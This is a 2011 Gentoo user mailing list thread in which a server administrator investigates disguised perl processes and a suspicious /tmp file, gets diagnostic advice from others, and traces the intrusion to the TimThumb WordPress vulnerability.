[gentoo-user] Rootkit?

[gentoo-user] Rootkit?

[Nilesh Govindarajan]

One of the servers I manage has a strange problem.

Every 24h, someone starts a process shows up as perl in the list, but
launching command is /usr/sbin/httpd.
It shows just one process, but when I run something like this:

ps -C perl -o cmd,pid

I get some 5-6 processes alternatively with cmd as /usr/sbin/httpd or
/usr/bin/perl.

The even more interesting thing is, /usr/sbin/httpd does not exist.
I suspect a rootkit, but chkrootkit & rkhunter reported nothing.

Also, I found a mysterious file: /tmp/ips.txt with following content:
xxx.xxx.xxx.xxx
127.0.0.1
addr:xxx.xxx.xxx.xxx
addr:
addr:127.0.0.1
addr:

Somebody is aware of a malware/rootkit which creates such files?

-- 
Nilesh Govindarajan
http://nileshgr.com

Re: [gentoo-user] Rootkit?

[Michael Mol]

On Thu, Oct 6, 2011 at 11:01 AM, Nilesh Govindarajan
<contact@nileshgr.com> wrote:
> One of the servers I manage has a strange problem.
>
> Every 24h, someone starts a process shows up as perl in the list, but
> launching command is /usr/sbin/httpd.
> It shows just one process, but when I run something like this:
>
> ps -C perl -o cmd,pid
>
> I get some 5-6 processes alternatively with cmd as /usr/sbin/httpd or
> /usr/bin/perl.
>
> The even more interesting thing is, /usr/sbin/httpd does not exist.
> I suspect a rootkit, but chkrootkit & rkhunter reported nothing.
>
> Also, I found a mysterious file: /tmp/ips.txt with following content:
> xxx.xxx.xxx.xxx
> 127.0.0.1
> addr:xxx.xxx.xxx.xxx
> addr:
> addr:127.0.0.1
> addr:
>
> Somebody is aware of a malware/rootkit which creates such files?

No direct experience with Linux rootkits, but you might have better
luck if you run a statically-linked copy of busybox that can talk to
the kernel, rather than going through a potentially malicious libc.

Is this a server running Gentoo or some other distro?


-- 
:wq

Re: [gentoo-user] Rootkit?

[Michael Mol]

On Thu, Oct 6, 2011 at 11:10 AM, Michael Mol <mikemol@gmail.com> wrote:
> On Thu, Oct 6, 2011 at 11:01 AM, Nilesh Govindarajan
> <contact@nileshgr.com> wrote:
>> One of the servers I manage has a strange problem.
>>
>> Every 24h, someone starts a process shows up as perl in the list, but
>> launching command is /usr/sbin/httpd.
>> It shows just one process, but when I run something like this:
>>
>> ps -C perl -o cmd,pid
>>
>> I get some 5-6 processes alternatively with cmd as /usr/sbin/httpd or
>> /usr/bin/perl.
>>
>> The even more interesting thing is, /usr/sbin/httpd does not exist.
>> I suspect a rootkit, but chkrootkit & rkhunter reported nothing.
>>
>> Also, I found a mysterious file: /tmp/ips.txt with following content:
>> xxx.xxx.xxx.xxx
>> 127.0.0.1
>> addr:xxx.xxx.xxx.xxx
>> addr:
>> addr:127.0.0.1
>> addr:
>>
>> Somebody is aware of a malware/rootkit which creates such files?
>
> No direct experience with Linux rootkits, but you might have better
> luck if you run a statically-linked copy of busybox that can talk to
> the kernel, rather than going through a potentially malicious libc.
>
> Is this a server running Gentoo or some other distro?

Mm. Something else. A process is allowed to modify its argv[0], which
changes what you see when you run commands like 'ps'. However, if you
take a look at what's in /proc for the PID in question, you might be
able get a better idea of the file's origin.


-- 
:wq

Re: [gentoo-user] Rootkit?

[Paul Hartman]

On Thu, Oct 6, 2011 at 10:01 AM, Nilesh Govindarajan
<contact@nileshgr.com> wrote:
> /usr/sbin/httpd

I think this is what apache version 1 used. Did the server upgrade
from apache1 to apache2 at some point? Maybe there's some leftover
things from the old days that is for apache1.

[gentoo-user] Re: Rootkit?

[Alberto Luaces]

Nilesh Govindarajan writes:

> One of the servers I manage has a strange problem.
>
> Every 24h, someone starts a process shows up as perl in the list, but
> launching command is /usr/sbin/httpd.
> It shows just one process, but when I run something like this:
>
> ps -C perl -o cmd,pid
>
> I get some 5-6 processes alternatively with cmd as /usr/sbin/httpd or
> /usr/bin/perl.
>
> The even more interesting thing is, /usr/sbin/httpd does not exist.
> I suspect a rootkit, but chkrootkit & rkhunter reported nothing.
>
> Also, I found a mysterious file: /tmp/ips.txt with following content:
> xxx.xxx.xxx.xxx
> 127.0.0.1
> addr:xxx.xxx.xxx.xxx
> addr:
> addr:127.0.0.1
> addr:
>
> Somebody is aware of a malware/rootkit which creates such files?

I had some of that recently. The attacker used a instance of phpmyadmin
to inject into its URL a wget command to download a perl script from
another site. Look for `wget' into apache logs.

-- 
Alberto

Re: [gentoo-user] Re: Rootkit?

[Nilesh Govindarajan]

On Thu 06 Oct 2011 09:06:06 PM IST, Alberto Luaces wrote:
> Nilesh Govindarajan writes:
>
>> One of the servers I manage has a strange problem.
>>
>> Every 24h, someone starts a process shows up as perl in the list, but
>> launching command is /usr/sbin/httpd.
>> It shows just one process, but when I run something like this:
>>
>> ps -C perl -o cmd,pid
>>
>> I get some 5-6 processes alternatively with cmd as /usr/sbin/httpd or
>> /usr/bin/perl.
>>
>> The even more interesting thing is, /usr/sbin/httpd does not exist.
>> I suspect a rootkit, but chkrootkit & rkhunter reported nothing.
>>
>> Also, I found a mysterious file: /tmp/ips.txt with following content:
>> xxx.xxx.xxx.xxx
>> 127.0.0.1
>> addr:xxx.xxx.xxx.xxx
>> addr:
>> addr:127.0.0.1
>> addr:
>>
>> Somebody is aware of a malware/rootkit which creates such files?
>
> I had some of that recently. The attacker used a instance of phpmyadmin
> to inject into its URL a wget command to download a perl script from
> another site. Look for `wget' into apache logs.
>

@all
Apache was never installed & I don't see any reason to install it 
because nginx satisfies my needs. I grepped for the string wget in all 
logs and php files, found some, but they were for libssh2 in wordpress 
code.
@Michael,
I thought of doing that, but before I discovered the file, I'd already 
killed the processes. Will check later when the process is relaunched 
sometime later.

-- 
Nilesh Govindarajan
http://nileshgr.com

Re: [gentoo-user] Re: Rootkit?

[Michael Mol]

[-- Attachment #1: Type: text/plain, Size: 1705 bytes --]

On Oct 6, 2011 12:57 PM, "Nilesh Govindarajan" <contact@nileshgr.com> wrote:
>
> On Thu 06 Oct 2011 09:06:06 PM IST, Alberto Luaces wrote:
> > Nilesh Govindarajan writes:
> >
> >> One of the servers I manage has a strange problem.
> >>
> >> Every 24h, someone starts a process shows up as perl in the list, but
> >> launching command is /usr/sbin/httpd.
> >> It shows just one process, but when I run something like this:
> >>
> >> ps -C perl -o cmd,pid
> >>
> >> I get some 5-6 processes alternatively with cmd as /usr/sbin/httpd or
> >> /usr/bin/perl.
> >>
> >> The even more interesting thing is, /usr/sbin/httpd does not exist.
> >> I suspect a rootkit, but chkrootkit & rkhunter reported nothing.
> >>
> >> Also, I found a mysterious file: /tmp/ips.txt with following content:
> >> xxx.xxx.xxx.xxx
> >> 127.0.0.1
> >> addr:xxx.xxx.xxx.xxx
> >> addr:
> >> addr:127.0.0.1
> >> addr:
> >>
> >> Somebody is aware of a malware/rootkit which creates such files?
> >
> > I had some of that recently. The attacker used a instance of phpmyadmin
> > to inject into its URL a wget command to download a perl script from
> > another site. Look for `wget' into apache logs.
> >
>
> @all
> Apache was never installed & I don't see any reason to install it
> because nginx satisfies my needs. I grepped for the string wget in all
> logs and php files, found some, but they were for libssh2 in wordpress
> code.
> @Michael,
> I thought of doing that, but before I discovered the file, I'd already
> killed the processes. Will check later when the process is relaunched
> sometime later.

You might crank up service log levels in anticipation, too, and prod your
firewall to log unusual-but-allowed connections, too.

[-- Attachment #2: Type: text/html, Size: 2255 bytes --]

Re: [gentoo-user] Re: Rootkit?

[Nilesh Govindarajan]

On Thu 06 Oct 2011 10:32:14 PM IST, Michael Mol wrote:
>
> On Oct 6, 2011 12:57 PM, "Nilesh Govindarajan" <contact@nileshgr.com
> <mailto:contact@nileshgr.com>> wrote:
> >
> > On Thu 06 Oct 2011 09:06:06 PM IST, Alberto Luaces wrote:
> > > Nilesh Govindarajan writes:
> > >
> > >> One of the servers I manage has a strange problem.
> > >>
> > >> Every 24h, someone starts a process shows up as perl in the list, but
> > >> launching command is /usr/sbin/httpd.
> > >> It shows just one process, but when I run something like this:
> > >>
> > >> ps -C perl -o cmd,pid
> > >>
> > >> I get some 5-6 processes alternatively with cmd as /usr/sbin/httpd or
> > >> /usr/bin/perl.
> > >>
> > >> The even more interesting thing is, /usr/sbin/httpd does not exist.
> > >> I suspect a rootkit, but chkrootkit & rkhunter reported nothing.
> > >>
> > >> Also, I found a mysterious file: /tmp/ips.txt with following content:
> > >> xxx.xxx.xxx.xxx
> > >> 127.0.0.1
> > >> addr:xxx.xxx.xxx.xxx
> > >> addr:
> > >> addr:127.0.0.1
> > >> addr:
> > >>
> > >> Somebody is aware of a malware/rootkit which creates such files?
> > >
> > > I had some of that recently. The attacker used a instance of
> phpmyadmin
> > > to inject into its URL a wget command to download a perl script from
> > > another site. Look for `wget' into apache logs.
> > >
> >
> > @all
> > Apache was never installed & I don't see any reason to install it
> > because nginx satisfies my needs. I grepped for the string wget in all
> > logs and php files, found some, but they were for libssh2 in wordpress
> > code.
> > @Michael,
> > I thought of doing that, but before I discovered the file, I'd already
> > killed the processes. Will check later when the process is relaunched
> > sometime later.
>
> You might crank up service log levels in anticipation, too, and prod
> your firewall to log unusual-but-allowed connections, too.
>

I just found something: 
http://blog.vaultpress.com/2011/08/02/vulnerability-found-in-timthumb/
Data on just one of the wordpress installations seems to be deleted, 
which seems to me as an effect of this. We're removing timthumb and 
will watch. Thanks for the tip :-)

-- 
Nilesh Govindarajan
http://nileshgr.com

Re: [gentoo-user] Re: Rootkit?

[Nilesh Govindarajan]

On Thu 06 Oct 2011 10:40:35 PM IST, Nilesh Govindarajan wrote:
> On Thu 06 Oct 2011 10:32:14 PM IST, Michael Mol wrote:
>>
>> On Oct 6, 2011 12:57 PM, "Nilesh Govindarajan" <contact@nileshgr.com
>> <mailto:contact@nileshgr.com>> wrote:
>>>
>>> On Thu 06 Oct 2011 09:06:06 PM IST, Alberto Luaces wrote:
>>>> Nilesh Govindarajan writes:
>>>>
>>>>> One of the servers I manage has a strange problem.
>>>>>
>>>>> Every 24h, someone starts a process shows up as perl in the list, but
>>>>> launching command is /usr/sbin/httpd.
>>>>> It shows just one process, but when I run something like this:
>>>>>
>>>>> ps -C perl -o cmd,pid
>>>>>
>>>>> I get some 5-6 processes alternatively with cmd as /usr/sbin/httpd or
>>>>> /usr/bin/perl.
>>>>>
>>>>> The even more interesting thing is, /usr/sbin/httpd does not exist.
>>>>> I suspect a rootkit, but chkrootkit & rkhunter reported nothing.
>>>>>
>>>>> Also, I found a mysterious file: /tmp/ips.txt with following content:
>>>>> xxx.xxx.xxx.xxx
>>>>> 127.0.0.1
>>>>> addr:xxx.xxx.xxx.xxx
>>>>> addr:
>>>>> addr:127.0.0.1
>>>>> addr:
>>>>>
>>>>> Somebody is aware of a malware/rootkit which creates such files?
>>>>
>>>> I had some of that recently. The attacker used a instance of
>> phpmyadmin
>>>> to inject into its URL a wget command to download a perl script from
>>>> another site. Look for `wget' into apache logs.
>>>>
>>>
>>> @all
>>> Apache was never installed & I don't see any reason to install it
>>> because nginx satisfies my needs. I grepped for the string wget in all
>>> logs and php files, found some, but they were for libssh2 in wordpress
>>> code.
>>> @Michael,
>>> I thought of doing that, but before I discovered the file, I'd already
>>> killed the processes. Will check later when the process is relaunched
>>> sometime later.
>>
>> You might crank up service log levels in anticipation, too, and prod
>> your firewall to log unusual-but-allowed connections, too.
>>
>
> I just found something: 
> http://blog.vaultpress.com/2011/08/02/vulnerability-found-in-timthumb/
> Data on just one of the wordpress installations seems to be deleted, 
> which seems to me as an effect of this. We're removing timthumb and 
> will watch. Thanks for the tip :-)
>

After about 72 hours of watch, it seems timthumb was the culprit. No 
attack/overload since 72h.

-- 
Nilesh Govindarajan
http://nileshgr.com